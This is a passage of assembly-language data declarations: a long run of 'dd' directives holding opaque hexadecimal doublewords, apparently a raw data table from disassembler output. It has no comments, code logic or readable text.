0D5820490h, 168916D1h, 0D604C40Ch, 87721D0Ch dd 0D70CBE2Bh, 0EDF8B4CCh, 4AA98C4Dh, 417755F9h, 65938CDh dd 4A369747h, 19850988h, 75740D17h, 5E62F309h, 3FED515Ah dd 645C7F62h, 0D8B2828Fh, 0D3292DEDh, 240BA7Dh, 0DB5B06AFh dd 6E880876h, 5BF10B5h, 9415709Dh, 3094FB84h, 0A89025F2h dd 81807510h, 0F3EBDEF8h, 0EC7EF728h, 0D844BD6Eh, 0DDBF5350h dd 13CAB980h, 182C4E5h, 9F596AC5h, 0F80C8165h, 176C902h dd 8DC1F2F3h, 14070C08h, 21A4BD3h, 0EE13EB77h, 0F87DDEF2h dd 66892EF8h, 52DA8B9Ah, 373E9E66h, 0F904DBF6h, 0A8F970BEh dd 8AB0ECD7h, 94E2918Dh, 0D3EE750Ch, 0DB939380h, 28D15E80h dd 81CDC1E5h, 0D121A4D6h, 0E1C1EF44h, 466B27C0h, 9480646h dd 2BBC0095h, 1518F028h, 8E34DAE9h, 5AADF95Ah, 6CF9FDB5h dd 6429E970h, 0A08F114Ch, 0C83D01C2h, 0F1188905h, 0EEBC081Ah dd 7CF85E96h, 0AD79FAB4h, 4CA6034h, 0E919FE2Ch, 6B12EB20h dd 0DBA528AFh, 587E3FB2h, 585BFC95h, 68015152h, 1767419Dh dd 0C605359h, 4904003h, 0EE788BA1h, 0D8E68103h, 90476616h dd 2F3570AEh, 705832F8h, 1A9749Fh, 0F27C33EAh, 7D942F18h dd 0D41C0818h, 79F82816h, 0E3524EDEh, 5F089273h, 0B8291666h dd 2FED00A9h, 171BE21h, 0DDCA2D5h, 0D260D508h, 75848267h dd 773E804h, 73488FBBh, 0AB5A7DA9h, 72F41F2h, 171C6076h dd 80D495EAh, 9C3AC740h, 98C1A022h, 43C80067h, 8705E6C1h dd 6D641CEh, 10769000h, 29E96433h, 6B63A184h, 0B257B055h dd 81885966h, 0B18B092Fh, 12C2ACEh, 22101CF7h, 7C129248h dd 0FD4D8D67h, 3B012E57h, 0B632C80Dh, 4DF46371h, 0FEA04E41h dd 926C088Dh, 0BCE28101h, 2A19C825h, 0A3F28A4Eh, 1351FC7h dd 30B69E8h, 29F5016Fh, 8FC5878Dh, 0A52D5572h, 81AEDBBh dd 0B1C090Ch, 803D507Eh, 0B4EEFD5h, 143621Ch, 804FFE2h dd 91AF5Dh, 0BE040390h, 4D218B8h, 0EE1966E4h, 64A85D8h dd 0BD0CF86Bh, 0E91A0B4Eh, 8240C6E7h, 0E4752CC8h, 1B65A1F6h dd 0AC72136Fh, 0F22FADB4h, 0BE9133Bh, 0EF6A12AEh, 0EFEA3ADCh dd 60DFF701h, 5B2C4EB7h, 0C102C628h, 0C1A854C9h, 46AB8F7h dd 0BA8D6896h, 0BD27C6F9h, 0E320B55Ah, 0BA36D270h, 3CEC2C85h dd 0AE732D2Fh, 0E12F9CACh, 8207EF93h, 0D45552E6h, 0CA8BF9F2h dd 76615655h, 74A1D65Ah, 0A54DA93Fh, 0BCAFCB94h, 2DBB5F25h dd 17BA3D02h, 31BEA57Fh, 48C3D8FCh, 83B6F381h, 8833B704h dd 0BA4C66A9h, 38B4CC5Fh, 0A79CC13Dh, 9018918h, 0CDE580D5h dd 48B22878h, 0AF020B37h, 92F657Fh, 3309355Ch, 0B37B5742h dd 94E43D2Ch, 805985D0h, 285209EAh, 60825AD0h, 0C861AE04h dd 0A805003Eh, 10E20520h, 12DE801h, 6BE95D07h, 745DC20Dh dd 0B95C5AB7h, 68BDF28Ch, 992905Ch, 64E3B6D4h, 7AF04401h dd 0AE7CDABAh, 2B400C12h, 0E5539FBEh, 97F59AAFh, 5694FEFEh dd 26B432D0h, 6877E85Bh, 0DE6C544Fh, 0E3CB4A22h, 5C5F72DAh dd 920727EFh, 495AC21Bh, 0EFB0AA09h, 6C98D7DBh, 58825627h dd 9A5EBDD6h, 0F63BE621h, 37D82880h, 5B6B151h, 7B35EA04h dd 64D00984h, 1E8F480h, 8658E508h, 42DAF6D5h, 66F52BE3h dd 1B8F09D2h, 92D5FA1Eh, 2CC4021Dh, 0B0A06515h, 0BFB25278h dd 8EAC014h, 0D941DCh, 516A2CDCh, 0C8C23A94h, 231056Ch dd 550B68A1h, 0C68D99DFh, 616FC9E9h, 7F7014h, 2C60055Fh dd 1CCECD26h, 833F204Bh, 0EF56B2EEh, 1AFD605Eh, 3E0B2D51h dd 0B307AA44h, 59EB3087h, 239562A4h, 0BCEA0831h, 0D4F7376Ah dd 0D7F707B9h, 75EF11F2h, 0EEDEAC3Ah, 31C85B88h, 2B63BBCCh dd 50C069F8h, 0B3430BB8h, 0E9407D06h, 0FB7B9E6Dh, 126A93DDh dd 9FAD303Eh, 0D9A01177h, 0C6BD5146h, 35B2517h, 6F5696B9h dd 0BAA80EBCh, 1195D34Eh, 8144D4AAh, 9DBBAF6Ah, 5ACBE87Fh dd 72F0DC82h, 0F9D79784h, 0A2AEA4E1h, 1D8CD3A5h, 850EA268h dd 75A04C9Ah, 1503B595h, 8B97DD89h, 0BD40C1C8h, 0F003C299h dd 6494C22h, 1C66450Ch, 0D876DE58h, 0EA0C1F2Dh, 59080592h dd 0FFC55780h, 16F5F84Dh, 0B5121F1h, 0DF5CDB7Fh, 762FF426h dd 705EDA7Dh, 0F6267689h, 2E6C86Dh, 3BB31AD0h, 3E62241h dd 3882D5F7h, 8D845745h, 0C60DD129h, 8E176058h, 58E56D3Fh dd 0BB44C4Ch, 60610C44h, 749EB2C1h, 3901417Bh, 845526D4h dd 0D75F2219h, 9056FDF0h, 577B096Bh, 1E027FA6h, 0E7FF1C32h dd 5CABA609h, 50A21A9Fh, 17075E51h, 2CA4C455h, 7B4DE9F2h dd 5E225CE0h, 0E9E370AFh, 0DEA821C4h, 1804D8F7h, 0F82950CBh dd 0C282B8BEh, 0E430428Fh, 0C3F52782h, 682D746Eh, 0E9080138h dd 21A8BDADh, 73783810h, 40596F90h, 89395707h, 0F6A451CFh dd 0CE2D9A44h, 821A75B5h, 0BEC4C184h, 0E20684DDh, 75A9804h dd 7F2B32E6h, 0BDB1FAE9h, 885FE104h, 23A1804Ch, 0B34A77A0h dd 0E957FDC0h, 901E9ABCh, 0C28012A6h, 0F521915Ah, 0C8BB03A8h dd 62EA064h, 0D28C5DBEh, 1A5C4C4Eh, 522C2752h, 0D8088379h dd 95195268h, 0ACFD211Ah, 6A02822h, 29406515h, 88248CEh dd 0E1C38D57h, 0D3BA80D4h, 0D19DB998h, 0F7682ABBh, 9B0F23B9h dd 77EB0B73h, 715F7F89h, 0E931CCF0h, 5C53A5Ah, 0C956CAAFh dd 0F4BEF75Ch, 0BB90208Eh, 4A538840h, 5481EABBh, 0AA60DF29h dd 6801817Ch, 147B124Eh, 2372DEEh, 29709DCFh, 8F1C7595h dd 2AAA6813h, 0E90D43B7h, 3A382C01h, 424200BFh, 3A97F281h dd 36CA13Bh, 779FCCAh, 0FA180C1Eh, 0D12C3F7Bh, 2D9CD797h dd 501EDC9Dh, 0AD9B20AEh, 0F091983Ch, 0F1CD6812h, 0F4DA8552h dd 4C7F2789h, 17EDFB53h, 163A206Bh, 2259BA5Eh, 4BCE03E4h dd 0C42E9769h, 2B153090h, 35325C1Dh, 0AEB0200h, 9DE4E9CEh dd 54B19AB6h, 8C3F7F6Bh, 0F1413DE2h, 13D4C321h, 4C4E3E72h dd 0CE773712h, 44FA4B90h, 81B93EE8h, 2F545333h, 6C81BD21h dd 3F8CF37Ah, 0B2772C52h dd 811A77A4h, 0F508200Dh, 5A8F4BE3h, 0E980C81Ch, 9F07AB4Bh dd 9AD9BC68h, 0CE964055h, 1358E621h, 0F46A3CE9h, 2EB138BEh dd 43FAEB12h, 0C2315F2Ch, 0F90B88F3h, 0D5E36855h, 0B80720C4h dd 6DC44FDAh, 5FDE6489h, 979C14Ch, 6B92DDCBh, 0C0BD9401h dd 0A541676Ah, 317BD450h, 7B51351Ah, 0B0FC4075h, 25E26809h dd 0C408F831h, 83484E59h, 0B6337246h, 807A615Bh, 0B10937C0h dd 0DE038B9Ah, 395743ABh, 2DB30CEh, 7D70EDF3h, 0C1436307h dd 524BCDD0h, 0B50558B7h, 0B3609AEAh, 3A5B285Fh, 841EBE9h dd 0FEB44B38h, 0AFD11061h, 4A786773h, 3F21B1ACh, 0C4104FCBh dd 5BC44E81h, 24ABDEEBh, 46026E5Ch, 417E4A41h, 0B800027Ah dd 59001A19h, 0B72D4857h, 0B866C931h, 0DD07E5F9h, 790241B5h dd 0A5D03D2h, 9B1E054Ch, 88F60084h, 0C1012645h, 1208E630h dd 48077F48h, 0A42EA131h, 517D0028h, 0DFFEE868h, 5A59FD3Fh dd 0D84E0CC1h, 0B7CA5307h, 0A9E2FEFCh, 8969039h, 0F682FB6Fh dd 2F15DEA0h, 9EFCF8CCh, 41EE4E49h, 238B60C4h, 1ED36497h dd 0C8E23007h, 5A1C462Fh, 5C58E70Bh, 29A508AAh, 0BAC15F1Dh dd 62B572FDh, 0A9CB58F0h, 21E8BFBDh, 1274C17Ah, 60735A18h dd 4A27E91Bh, 0B6C5A6EDh, 22549F75h, 525AD60Dh, 5882AC3Fh dd 12482077h, 0AC22E168h, 2F25C036h, 24E96029h, 6477D616h dd 0A0B1EF68h, 136BC5F5h, 0B110A2A8h, 13FC0E9h, 0C56858B5h dd 0C6CF6A1Eh, 5AA28A4Bh, 9CFF3CBFh, 4F44C44Dh, 51652CBBh dd 5AFC569Fh, 0E1392002h, 0CB23F955h, 9252C5DDh, 40CCFB9Dh dd 0BC6A4A11h, 0A69C4FEh, 7FF329AFh, 9B80FBB9h, 4E3A5E14h dd 0CE00E29Ah, 4031011Bh, 0D0C1C6E9h, 666756D4h, 3456FDEBh dd 0DC69C594h, 0BB0FC822h, 0AA635D26h, 8559FC5Bh, 32BFFEB3h dd 0B8EA7365h, 6B26F3FFh, 0D2F41C55h, 0F8B3FB0Dh, 52D0E983h dd 0F9316C13h, 0F4A05F17h, 0E6D1274Eh, 4202157Ch, 4012F44Bh dd 5CBD6C5h, 98E9A66Fh, 0B2B2AAC3h, 0C8BE0F0Fh, 16CFBA84h dd 60A3CCE0h, 32E1BBFEh, 94E8877h, 186AC4E4h, 1163730Dh dd 68A4CC1h, 0BD453A86h, 0DF0AAF41h, 35FBA539h, 0C4C708DFh dd 5EBC181h, 9576FA38h, 0A530A6C6h, 61687CB8h, 0D49A9D0Eh dd 0D45F11D7h, 13C6167Eh, 749F965h, 0F468E829h, 20B54679h dd 0D497D3A3h, 0EB8B3931h, 60D5AA90h, 9D088B31h, 0C363D95Ch dd 2D5C27D9h, 0CF209CE4h, 8F2C50F3h, 18EB6120h, 0CFA5E380h dd 0DA086FF0h, 3941AFA1h, 2E0C2088h, 529BB2C4h, 98EC46DFh dd 66DF03B1h, 0EDC1592Bh, 0C78652EAh, 26FC70BEh, 742581B0h dd 496E5E21h, 0E971F23Ch, 2499B49h, 315EF729h, 0F0CDC1FEh dd 0DCF4FBDBh, 2160B7AAh, 0B50A0B19h, 5D12E371h, 9FFD27AAh dd 241024FEh, 791209D9h, 308202DEh, 0DCA670ECh, 0F4F02D20h dd 0F9106A30h, 5A50A2C9h, 0C68F8C5h, 0CE02689h, 1B823EC1h dd 22B71A4h, 2925247Fh, 456795C0h, 68663A04h, 9AA84D27h dd 0FFB8B1C4h, 0E3AC039h, 820222Eh, 0CE27E920h, 0CACCD782h dd 75B77A6Bh, 0A89376E5h, 5A5856C0h, 0C5C07368h, 0EC0C9737h dd 0FEFC9353h, 99F0812Dh, 3DB3050Ch, 40A74029h, 0F59D5B68h dd 6CBD4D9Ch, 46012084h, 0B33BF4C1h, 0AC2A29E0h, 0C8F20255h dd 0D7793E4Ah, 0B403D362h, 419211B6h, 72974D46h, 0DD87A78h dd 63FE3251h, 0DE78E015h, 0FC696D27h, 89C624AAh, 0DC513DE9h dd 52A07E49h, 0E9855045h, 8F5D76FBh, 0B15FE689h, 5965F775h dd 0A7D286EEh, 0A9F50663h, 0C6BFD68h, 50BD23F6h, 0CEED04B4h dd 0FBE6E54Eh, 14CC49B1h, 0A5A302B5h, 68E9DE89h, 6A2D8049h dd 0DC13FFB2h, 0F632FB4Ah, 2D5BD0FEh, 1719D968h, 0A2327057h dd 1EC46601h, 9AE95359h, 0BBA70D7Eh, 0CE80C2E7h, 4E5E6B88h dd 84D30134h, 0FB680802h, 8FEAF46h, 0CB290E32h, 9FABFCE9h dd 0D8F25B74h, 3AE913E6h, 78CEE2B4h, 2BDBE32Dh, 276BF5D9h dd 5A1E0E50h, 3CD0F680h, 729AAC0Ch, 2B773ECFh, 6DE45F87h dd 0E9748F67h, 0DC3A29EBh, 5E9D00F8h, 99B934BFh, 6310BC9h dd 206229DAh, 6819B4D4h, 8EDF78AAh, 645ABE3Ch, 0AB2BBEEh dd 4E1DA810h, 50241AE8h, 4FA207A8h, 48B82080h, 3298601Fh dd 504A690h, 114260Dh, 3B394990h, 4EE9E237h, 0FE45C1E4h dd 0F5AA42C4h, 0AF2D6600h, 5A42F233h, 85FFA9CCh, 0B54503B5h dd 90848754h, 470812ABh, 0CC1B3C38h, 744AE966h, 74011E13h dd 0ADFC164h, 90D4823Bh, 0CF05BE64h, 6775ADEh, 0B7EAE80h dd 70C5A15h, 0CA3FEE87h, 70B526C4h, 8A2BE94Fh, 0F5ACFBFDh dd 68097610h, 52B01C1Fh, 77C97902h, 69D857C2h, 97EFCDF6h dd 13AA5BA6h, 0D623AAA6h, 3EA28D5Eh, 0AF65C4D2h, 0BCE59EE8h dd 0BB53C752h, 20DE7F71h, 112E2C7Bh, 30520B0Bh, 59E5DF31h dd 0E6E45C93h, 0E5E68C31h, 10505326h, 406F7A0Eh, 0C56CE935h dd 0D06C95FEh, 2B556876h, 1650601Dh, 574C8982h, 0A4B0B758h dd 0B8E5EFE9h, 0CC459EF4h, 0DA16DD39h, 8144184h, 56042E98h dd 4A880864h, 83E160DBh, 5F194DF7h, 8CC13D5Ah, 530326F2h dd 5B6F2EFEh, 5C4360BCh, 7F8DE90Eh, 8CEB8050h, 643D3C12h dd 77F392F4h, 0ECB35FF7h, 79A900C8h, 0E9556F3Ch, 90F854E7h dd 314A4ADBh, 47F3B4Fh, 9845E0BEh, 0D282B195h, 51B0E02Eh dd 0E92BB506h, 681A97Ch, 453657F7h, 80790C74h, 0F2F0BB25h dd 0FFC15F00h, 0F98F142Ch, 0CDBAB23Ah, 3A207366h, 12A5929Fh dd 2DE8285Ah, 53F0C069h, 0FE82B30Eh, 80C347CBh, 0C06EB26h dd 0A19CE943h, 1609C2A5h, 0D0638D32h, 0B3BC124Ah, 201F9B9h dd 4E4CFDC3h, 5F4AD53Ah, 0EF5F0804h, 0FA665C61h, 1FBB412Ah dd 8322636Fh, 4F586522h, 14F7B112h, 3A14D97Eh, 0A01F8F87h dd 0E999C372h, 0EAD05A61h, 4C82F22Dh, 65C936B5h, 2F027FC1h dd 4DB2C4C0h, 82196972h, 835C58A4h, 8E78B0BCh, 5FAA305Ah dd 830F17CDh, 48D58DCh, 53087FBh, 344002BAh, 6A124184h dd 0BF570040h, 1CBA77B9h, 76C9E7C1h, 340084DFh, 82CB601h dd 2AC547F1h, 801003B9h, 0D98006C1h, 289EF8E9h, 6141B03Ah dd 0F6F379A6h, 45530055h, 2E323352h, 0C0E36C64h, 56734441h dd 0D495029h, 0CE544E8Fh, 460A354Ch, 0DFE9B201h, 2368FEE8h dd 6179A1Eh, 8FE52F89h, 0AB94A81h, 0F2842510h, 421B489Bh dd 11249D6Bh, 711CF22h, 9E45BF08h, 3211E4E1h, 20F3129Fh dd 0DBBA2A84h, 75E54400h, 0C23293A0h, 7CFC0F33h, 38C0690Ch dd 3D6E2DC8h, 90018270h, 59C92E05h, 95D967BCh, 75D033C0h dd 1C421D60h, 916B40A9h, 0B28A0B16h, 980059E2h, 1FA6B8E8h dd 0FC9BFB3Bh, 0C5800742h, 7093F89Ch, 9D614E5Fh, 1072BF00h dd 0F19976A0h, 5A204D2h, 0C04DEC74h, 0BF706519h, 291ED300h dd 84DAB007h, 0CC1900C1h, 0E2E4C973h, 82FC3E63h, 0ECBDF600h dd 62E1FBC3h, 3115C03Fh, 5D3264D4h, 38D2E300h, 0A4CC6CFEh dd 90093DEDh, 0AD82D800h, 0C8B33291h, 0C2F09800h, 0B1E555D5h dd 0EBF300DCh, 0D30F52F1h, 0EE00FC9Ch, 0A272DDDh, 617D48A9h dd 0EB51954h, 0B20D80CBh, 416E3FE1h, 7F7EB4h, 9D78F18Ch dd 4D67D1DDh, 50BCE527h, 0E747003Fh, 30919E77h, 0FE0035C0h dd 0B9660F7Fh, 12EC737h, 84118101h, 49296427h, 0CEC708BFh dd 68B75E03h, 0FFFA9B0Bh, 0C51B3EA3h, 21E2C307h, 57C72460h dd 347D005Fh, 0A8F154B5h, 100F86F2h, 806D4253h, 2B336313h dd 8B4D0098h, 456E169Eh dd 427974E4h, 28F99D1Eh, 3E9F1D83h, 0F240D587h, 5E371829h dd 0CCDB1CFCh, 10E3C0B1h, 7998E80Ah, 200B5F8h, 1282E72Ch dd 3D3F2B24h, 140572D2h, 0D109C1Fh, 804EFC46h, 56C6268Dh dd 325A479h, 0BEB7E0B1h, 40E53CB8h, 0F161DD96h, 0AA010F24h dd 69C45B3Ah, 0A1FC1CF9h, 0CF640031h, 7D1AFB6Bh, 2F00930Eh dd 0E649D6BFh, 0A909F76h, 231C434h, 8B5382A8h, 96A091B8h dd 4FA19B5Ch, 72E26202h, 0A0B0D96Ch, 806A3B93h, 0D6CFA093h dd 0EE5E03DDh, 8934C5A8h, 0DC1E3DC9h, 6449C397h, 0B9D728F6h dd 0EC4D6600h, 0E0453A7Ch, 734488B9h, 0B6E65C77h, 0C9159760h dd 603A096Ah, 0D4D61117h, 0FC02871h, 0A6EDC2D3h, 0F8D70E47h dd 0A914311Dh, 75A559C0h, 0BE09DA69h, 169C64h, 0E163503Ah dd 6F6D0D71h, 0F4BE8DD4h, 0AB005F70h, 81F153E0h, 6E249FBDh dd 0AF631DFDh, 71E951BBh, 0C5C68006h, 9D7A864Fh, 0A7D8E13Bh dd 0B5E70036h, 39165EBFh, 6300E051h, 0D8D9C3F3h, 0FFFEB5Bh dd 1C4E599h, 16BC980Ch, 7A269600h, 6106FAB1h, 0C5771C2Eh dd 4AF982EAh, 860B58Ah, 0BB005A6Bh, 0F87B0764h, 0B18E88h dd 4697C09Eh, 0D3CAE50Ch, 0F767C500h, 536332D8h, 6B733BA3h dd 8B579281h, 600A1B10h, 0D007D0Eh, 0C939BB68h, 75CE7F5h dd 1CAB8735h, 90370B8h, 8926EE43h, 0A1F70FDh, 0C3701AC0h dd 4DD040h, 0B1CA49C8h, 0EDAD151Fh, 7427DDBCh, 0D6803F74h dd 1D12E353h, 650030A0h, 1BFA6ACEh, 36A604h, 5043485Fh dd 3CF382F2h, 0AA4BBB00h, 0EE87F775h, 52C20341h, 774E10C3h dd 394069AAh, 0E4495819h, 53B481CFh, 5410A9F0h, 2A006C43h dd 0F774B555h, 7A638Fh, 0F9F9602h, 31391E20h, 0B17C0900h dd 10FEEC1Dh, 7E2FFC23h, 61F7DE7h, 7633EF8Eh, 0D3E2903Dh dd 73614C26h, 640C303Eh, 792BD8Eh, 0B6A30AABh, 60164D9Ah dd 1905B1ECh, 0A73F97A9h, 5F7DEB90h, 3BD77E4h, 6F401087h dd 0C179977Bh, 91A64E14h, 19466170h, 0F4FC2F08h, 7EBE7D42h dd 0B2580F48h, 1220F684h, 0C3DD794Ch, 0A00E5B90h, 3C0E68Fh dd 0D8370ED0h, 1F1089FEh, 9D7DB98Ah, 910180C6h, 4B3FD1A4h dd 192C7002h, 44DB1CADh, 0D40902C4h, 193C3A3h, 3C408029h dd 0D22A1Bh, 5A40D3C1h, 7C0F1C9Eh, 2C039003h, 0B8A4543Eh dd 0F56CB0h, 0C23C388h, 18F9332h, 8C3D4F90h, 0E3628327h dd 0C890F6BEh, 436C3Dh, 0CA2EF7A7h, 0F4F85B32h, 36C8E700h dd 771F678Fh, 701000ECh, 3C77E40h, 0C9076C25h, 0CF3FBDEAh dd 540F695h, 0AB4BDDD9h, 0E063007Bh, 0F09969E5h, 9704A778h dd 59B590C5h, 1D830D84h, 7119C0BAh, 794359C0h, 2636EE2Ch dd 0C1B64479h, 20472671h, 0E700F3C9h, 3BDDC641h, 30BB8A54h dd 55303096h, 923B6B44h, 0D1DC01FBh, 746ED6E0h, 998FFC74h dd 0E8169Ch, 0B7278659h, 0EF0051DEh, 2989967Fh, 7BFDCB9h dd 171D1CCh, 15A06B74h, 6F0676F6h, 42D3A2C1h, 0AFEBCD91h dd 9A790099h, 1DAB63D9h, 8003DB0Bh, 0D649D7FCh, 0C9056F30h dd 0DD4B8221h, 390A4080h, 0B00C2425h, 0EE524090h, 97E4517Eh dd 0BC2C8800h, 9A0A697Ah, 0D0E60003h, 7B79B7DFh, 0C9C010F7h dd 522393F3h, 0EC5C00DDh, 2B9B1A09h, 0E591D54Ah, 482D9D07h dd 0E4655872h, 0D0CC4C67h, 0FB5A6A33h, 15BE7F07h, 0C95D7A49h dd 0C0E755C4h, 8E9A5F1Ch, 70284509h, 0DA05E9E0h, 0B4ADE959h dd 690DF87h, 0B8BAAh, 387B82E4h, 0E84D49B9h, 558E4100h dd 0AC617668h, 0F4F77EEh, 137E6C04h, 456DAD02h, 169FA340h dd 32CD8E2Ch, 0D4E11C09h, 7F01376h, 702582CFh, 0AC290E7Eh dd 13F73F07h, 0F1B19516h, 484B787h, 81CEB40Ch, 60E8B9B2h dd 0EA005A60h, 5C37D3ACh, 25EB2D0h, 0ABB3E393h, 0D2EA3018h dd 85527280h, 0B71758F4h, 0CB18DE02h, 0E4828B22h, 273000BEh dd 24C42125h, 923D81E1h, 0E6CC812Eh, 2DCE212h, 0F62069C8h dd 58CBF8ABh, 0ED00F9FAh, 90B8B1D4h, 0F10077BFh, 82411D4Dh dd 3BDEDF03h, 85CC52A2h, 0AE47B700h, 0B920281h, 9F02E873h dd 0F9797B03h, 16347620h, 224000E3h, 593CAC0Dh, 0FECA59h dd 6233A305h, 0FD6DCDh, 95088318h, 63D0A515h, 896CDC00h dd 0CBAA1A9Ah, 67D70754h, 8E19458Eh, 12F0A8BFh, 32B78506h dd 0EAA0D854h, 5C8B3AD0h, 3B9992BAh, 61097900h, 56D6DBh dd 0CE3EBCF5h, 0B4EF7C8h, 0F20B95BAh, 80670E21h, 0D9CACC65h dd 0E23F45Ah, 0B7538A8Fh, 1340DDC1h, 54797009h, 0AD4B42B8h dd 0D8568F00h, 968D68h, 5DD2A313h, 8EA570E0h, 6FACDE94h dd 10830880h, 5B342B2h, 0EA8BFB7Ch, 3A46235h, 6D12AE68h dd 18D996C2h, 4773AE24h, 6CB249AEh, 1441CB25h, 7C40BCC6h dd 0B63C11B5h, 609C033Ch, 671839DEh, 0F8C9F722h, 0A2211200h dd 0E42B2C32h, 0D443005Ch, 5ECE2FFBh, 487F6758h, 16E3D300h dd 0E4EBFEEh, 0EF710356h, 61834CC8h, 8AA5B2C0h, 0FD7FB400h dd 0A4260195h, 7BF702E2h, 0BEA0B654h, 0A28FB3C8h, 86B02000h dd 0D9C4A689h, 884E60C6h, 31427445h, 4469D105h, 0D856E63h dd 0A039FB93h, 7D65B4Fh, 5A75E546h, 30666059h, 9FF4705Fh dd 652B025h, 3219FEh, 0ECF2DDEEh, 0C2F464C7h, 4B00D57Eh dd 9C1F3971h, 48BCD7B3h, 57896CEEh, 15262920h, 0B30E1021h dd 40895343h, 276FDF5Eh, 0AAEF3156h, 0D8405127h, 22000FDBh dd 41B1129Eh, 1577855h, 85F576B3h, 65C043F0h, 0C435A6C4h dd 35183426h, 907A5Dh, 1A0E1BA6h, 189B2C93h, 56CDA800h dd 6B3165D5h, 2DF0006Ah, 0D709CCD9h, 0FD98F633h, 3E771200h dd 53BB388Fh, 16DF00F7h, 446B24D2h, 4098ADB1h, 7D362603h dd 0C8DADCFFh, 8B4BCBh, 9495755Ah, 1170A616h, 0E950D80Bh dd 0E50D00F6h, 63D1282h, 41883B21h, 2C02B2C0h, 3A246F1Bh dd 0D9E40F9h, 0D95A2630h, 2583499Ch, 8E06E7CEh, 87CA7963h dd 39662E3Bh, 5D728065h, 8EFE7CADh, 63E73Ch, 3ECC42EDh dd 2823C79Ah, 48B985E6h, 7F18403Bh, 2DFE40D5h, 755E3D00h dd 89CEED7Eh, 2C9700C5h, 0AE0C7CE5h, 0D307B788h, 55D6F1DCh dd 0A88BBBh, 1B1806F7h, 0F0260496h, 89BE6B1Fh, 0AA2D30E4h dd 0CF37B900h, 0F2D5A436h, 2A09670Fh, 0F0398715h, 77507FE6h dd 0F184F401h, 6551C142h, 0BBDE90E3h, 0C07ADEE2h, 0A8086671h dd 0B813B0A9h, 85007713h, 7BDA5855h, 9DC524EAh, 3492870h dd 3F7F17AEh, 0D474A811h, 51784B00h, 1CD4193Ch, 145F000Bh dd 9CA2D2A6h, 453BD029h, 4A5B8001h, 64D4574Ch, 777D015Ah dd 3DAD1280h, 0C9C07FF9h, 162D8FD3h, 4F892BDh, 0C0B525FDh dd 0DC27941Fh, 4ED5A100h, 0C3C2935Fh, 4D6A12B0h, 75C400F3h dd 40EF86F6h, 0DBA253F8h, 0FEB967C0h, 0DB351A00h, 134296ABh dd 1414B059h, 0A2BC6D1Dh, 0AFE75780h, 19B23DC2h, 80349469h dd 0E2E1D519h, 578C0433h, 0C0476C6Eh, 50C03D76h, 0D0FFBA09h dd 715E00F7h, 1CD141C2h, 31115DE5h, 24565B02h, 860067E5h dd 373C2564h, 0F298B7h, 244B2F4Ah, 475C5ACAh, 3101759Ch dd 3E3363D3h, 0C054D264h, 4FBF4341h, 8A05A47h, 647A52C2h dd 3C7AEA09h, 0FA0B5778h, 9F8B34D5h, 51BD8294h, 0A07852A4h dd 37FB6805h, 6CAC6642h, 6E2C1A0h, 0BDAF737h, 0C960F2E0h dd 0A07EF397h, 1ABD5434h, 7C174E3h, 0D4C708A6h, 0E623EA31h dd 7181D141h, 770F8BF6h, 2C8BD930h, 0E13E7595h, 0DB00E97Dh dd 6010FFFDh, 0FEB8CE49h dd 6170FA2h, 0E081C503h, 0E0B088B5h, 0EA0F340Ch, 40F82510h dd 986CE433h, 0C4A10F42h, 48E34E77h, 0F4C04BC0h, 0A4006D93h dd 4A0A46D8h, 7423FEFh, 76DE4592h, 1213F03Ch, 0D6006805h dd 79F0D810h, 23E20Fh, 0EC73429Ah, 0AA185B56h, 0C60B62F0h dd 683347h, 7934D7F9h, 960EA5Ah, 0EF90B0Fh, 848DE01h, 0E530D3E8h dd 516B2ED4h, 0CDCC13F2h, 8391AEE5h, 0B5F0044Ch, 73C2769Fh dd 69D80073h, 0F5C9469Ah, 1603B46Fh, 0AEC08158h, 0E8321870h dd 5E643D0Bh, 0C6ACDA00h, 5D3937AAh, 0B47A65h, 0DFA1A5B9h dd 0B3E9814Dh, 8B0C8560h, 7117BF10h, 20E7D57h, 19D28DC2h dd 7944E828h, 9F59AD00h, 0BD349D06h, 1FF7D97h, 864EE295h dd 501881CCh, 0B8943D5Dh, 2489AF00h, 88DE0443h, 838B0114h dd 34FCE1F5h, 0C2017B12h, 6319252h, 0C0711E50h, 34AE0E87h dd 58E085B4h, 0ECF368FFh, 0A9603006h, 2A2ED2Bh, 7D2CC12Eh dd 1944850Fh, 4BBF6603h, 0E310899Bh, 0F7A8848Ah, 172C49CCh dd 18C38088h, 1125E91Dh, 43EED1AEh, 0EC17BB0Fh, 3D9C8774h dd 2F415410h, 0B75B7F53h, 5C00EFF2h, 0B6EF30C1h, 169BA281h dd 3B28D8h, 803F9054h, 6001EB8Ch, 1E6E5E97h, 67C12D34h dd 7C6F0DE0h, 0EAFE3366h, 60A1FF8Eh, 9F6AD001h, 700DC70Ch dd 0E8CA2169h, 96D43044h, 31D5E011h, 9FE5FA10h, 930F3867h dd 1101BB4Ah, 701F3D17h, 8184071Ch, 0C6A71B68h, 7E0211C3h dd 83A69629h, 54FE00F3h, 0E721DDA1h, 486119EDh, 2111020Bh dd 0D262697Eh, 5BE35090h, 76D40711h, 941CED0Fh, 8E9D75A0h dd 0E70DF13Bh, 0E0851F87h, 506CDA30h, 6F88405h, 5CE6B1C1h dd 0E40F1008h, 0A19AFE66h, 0BB956CA6h, 0F2467960h, 0EAA006FDh dd 60F1139Eh, 763E26F6h, 78BB3E9Dh, 70C6D47Ch, 28C1FFE6h dd 8A2DDBh, 0ECB2875Ch, 12C5D50Ah, 0E919AC1Ch, 80069649h dd 0F0EE74D1h, 0F580C721h, 0C9998E0Dh, 0C3730E9h, 0B17F68C3h dd 0D4008579h, 7887E8C0h, 909F60CEh, 20B422BBh, 400ACF2h dd 0FE69944Ch, 1C90931Fh, 0C0EC515Eh, 0C9E5E280h, 0C73B3C1Eh dd 80853C52h, 50DCB386h, 337889DBh, 0E150A3BEh, 406B54E1h dd 0FE76568Ah, 0A00E9C30h, 0C2787F0h, 0EF89A677h, 1A0950E9h dd 6E1F62h, 5B6CF778h, 4964803h, 0E9A2F040h, 3A61FEDCh dd 78004F8Fh, 0E442BD58h, 70266F3Ch, 732409D5h, 41B7ED07h dd 43C13380h, 76E83C78h, 5750D307h, 0BE5980ACh, 353EE76Eh dd 0E1BA93h, 46E09F4Eh, 0C74771h, 0CFFE6256h, 0E1A8BC4Ah dd 4C734800h, 416446E3h, 0B73805EAh, 28A1DE4Dh, 9BB0B438h dd 4AE97278h, 8B19C18h, 71E1D970h, 98E678F0h, 54E401BBh dd 37C8FCB9h, 53C1F0BDh, 0EAAE4E00h, 0C5AB7134h, 7A1F055h dd 0A7C249F0h, 7686ABEh, 0E3C4515Dh, 39414E62h, 